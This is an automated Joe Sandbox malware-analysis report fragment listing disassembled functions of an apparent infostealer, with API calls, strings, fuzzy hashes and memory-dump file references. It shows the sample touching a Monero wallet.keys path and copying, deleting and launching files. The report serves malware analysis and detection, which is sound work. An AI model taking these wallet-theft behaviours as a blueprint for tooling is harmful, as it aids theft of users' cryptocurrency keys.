Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: a609b27423a857b05a9b609653d4765c6e1de1ad2fbc7c66c8dce05b93241b1d
Instruction ID: 4c8e11c5fad9e41fb02ec10c6e2f0477a906cb914533c8d05cc4ce8974a6fa46
Opcode Fuzzy Hash: a609b27423a857b05a9b609653d4765c6e1de1ad2fbc7c66c8dce05b93241b1d
Instruction Fuzzy Hash: 3941F6B110075C5EDB25AB288D84FFBBFE8FF45708F1444E8E98AC6186E2719A458F70

Function 6CAEB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3EBD,6CAD3EBD,00000000), ref: 6CA942A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAEB127), ref: 6CAEB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAEB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CAEB4E4

Strings

pid:, xrefs: 6CAEB4DE

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f721a8272f8715e8548809e8dc2d32d413d125e74193faced147922194b16a71
Instruction ID: f3788b1f78864e62c0006601b459b368d6c30bef5bcaab8c582f29ed9f5565af
Opcode Fuzzy Hash: f721a8272f8715e8548809e8dc2d32d413d125e74193faced147922194b16a71
Instruction Fuzzy Hash: 6631E931A01308DFDB00DFA9E448AEEB7B5FF49318F580629D41267A41D731A8C9DBE5

Function 00886630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00886663

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

ShellExecuteEx.SHELL32(0000003C), ref: 00886726
ExitProcess.KERNEL32 ref: 00886755

Strings

<, xrefs: 008866D9

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 86deb82c0465a29b2ce44f6425063ada73aaee4276784ba8aa87bd1358605141
Instruction ID: 0e6e5b0a0fefb45455e3374831d9cd3b0b8ef59d100c779e0ea7196cd8bb2050
Opcode Fuzzy Hash: 86deb82c0465a29b2ce44f6425063ada73aaee4276784ba8aa87bd1358605141
Instruction Fuzzy Hash: 23312DB1801218AADB18FB94DC91BDD7B78FF14300F804199F205A61A2DF746B49CF67

Function 008887C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00890E28,00000000,?), ref: 0088882F
RtlAllocateHeap.NTDLL(00000000), ref: 00888836
wsprintfA.USER32 ref: 00888850

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Strings

%dx%d, xrefs: 00888847

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 326f07caba91dba5b27053a9a754486bd771981d32952cbb2676806ae5686946
Instruction ID: 9c9f7ae8be046c78a812e0c02887c2a63c8a461928e8b4bbec7fd40de5e28c3a
Opcode Fuzzy Hash: 326f07caba91dba5b27053a9a754486bd771981d32952cbb2676806ae5686946
Instruction Fuzzy Hash: 182100B1A44208AFDB04DFD4DD45FAEBBB8FB48711F104219F605E7691C77999018BA1

Function 00888D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0088951E,00000000), ref: 00888D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00888D62
wsprintfW.USER32 ref: 00888D78

Strings

%hs, xrefs: 00888D6F

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 16b6fa579726a0678a496e5d79fe85a1b1584f75ae049875b00aa6f558590754
Instruction ID: c920088fc10b06cf8faf27581b1c62a06b889d632b1026b522fb42d33e531ab8
Opcode Fuzzy Hash: 16b6fa579726a0678a496e5d79fe85a1b1584f75ae049875b00aa6f558590754
Instruction Fuzzy Hash: 05E08CB1A44208BFCB00DFD4DC0EE6977BCEB04702F000294FD09D7691EA719E018B92

Function 6CAE0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE0CD5

Part of subcall function 6CACF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CACF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE0D40
free.MOZGLUE ref: 6CAE0DCB

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

free.MOZGLUE ref: 6CAE0DDD
free.MOZGLUE ref: 6CAE0DF2

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fb40d7394fbbffea791fc7b06881d7309369277caea9611d0f991376fdd0a008
Instruction ID: 65fab4d8578b32210e89e412092ce6948c0320c0cce7804b83f14f7220a1aad1
Opcode Fuzzy Hash: fb40d7394fbbffea791fc7b06881d7309369277caea9611d0f991376fdd0a008
Instruction Fuzzy Hash: 5B412A719087808BD320CF29C18079AFBE5BFC9754F118A2EE8D887750DB709485DB82

Function 6CAECCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAECDA4

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

Part of subcall function 6CAED130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CAECDBA,00100000,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAED158
Part of subcall function 6CAED130: InitializeConditionVariable.KERNEL32(00000098,?,6CAECDBA,00100000,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAED177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAECDC4

Part of subcall function 6CAE7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAF15FC,?,?,?,?,6CAF15FC,?), ref: 6CAE74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAECECC

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

Part of subcall function 6CADCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CAECEEA,?,?,?,?,00000000,?,6CADDA31,00100000,?,?,00000000), ref: 6CADCB57
Part of subcall function 6CADCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CADCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CAECEEA,?,?), ref: 6CADCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CADDA31,00100000,?,?,00000000,?), ref: 6CAED058

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 37168a5f5015e90d0ef573ac1b43acddce28982d21f2c92611e36dcb01b3a6f5
Instruction ID: ec826431683040dba7dc937d5a52a7c7e3cb831a2ec635747758824003e57692
Opcode Fuzzy Hash: 37168a5f5015e90d0ef573ac1b43acddce28982d21f2c92611e36dcb01b3a6f5
Instruction Fuzzy Hash: 32D16E71A04B469FD708CF28C580B99F7E1BF89308F05862DD8598B752EB31E9A5CBC1

Function 0087D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 00888B60: GetSystemTime.KERNEL32(00890E1A,010FD900,008905AE,?,?,008713F9,?,0000001A,00890E1A,00000000,?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 00888B86

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0087D481
lstrlen.KERNEL32(00000000), ref: 0087D698
lstrlen.KERNEL32(00000000), ref: 0087D6AC
DeleteFileA.KERNEL32(00000000), ref: 0087D72B

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 062a44293707470ecf1c4e7fb64990bdc8fc0f368554c6265247a6f80e66fad9
Instruction ID: 328387693ef40873cc011b06a2598a9be02ff6b8bb65555da88c6e44a0a33738
Opcode Fuzzy Hash: 062a44293707470ecf1c4e7fb64990bdc8fc0f368554c6265247a6f80e66fad9
Instruction Fuzzy Hash: B391AE729101149AEB08FBA8DD969EE7738FF54300F50416AF516E60D2EF386A49CB63

Function 6CAB5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAB5D40
EnterCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5D67
__aulldiv.LIBCMT ref: 6CAB5DB4
LeaveCriticalSection.KERNEL32(6CB1F688), ref: 6CAB5DED

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1887a93de3d666eff37aae55766c24ac85e713a1204874aca0f79d6be8dcfbe0
Instruction ID: a0f51e9725d3f50c78497987780de5b59ee2c09b93389f73cbe75709cea46d8b
Opcode Fuzzy Hash: 1887a93de3d666eff37aae55766c24ac85e713a1204874aca0f79d6be8dcfbe0
Instruction Fuzzy Hash: FE515E71E002598FCF08CFA8C955AAEBBB6FB89304F29861DD815B7B50C7706985CB90

Function 6CA9CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA9CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA9CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA9CF4E

Strings

0, xrefs: 6CA9CF30

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 2ebb9a4945786ece210a3843248639f6313a461f9f38564d5b9cdb6be36746a5
Instruction ID: eaadf54a2fbf4f84bbfadad1c0d4a4858a32288950b098877f291fbaff02f330
Opcode Fuzzy Hash: 2ebb9a4945786ece210a3843248639f6313a461f9f38564d5b9cdb6be36746a5
Instruction Fuzzy Hash: 79512271A006568FCB00CF18C890AAABBF5EF99304F19819DD85A5F752D731ED46CBE0

Function 00883560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
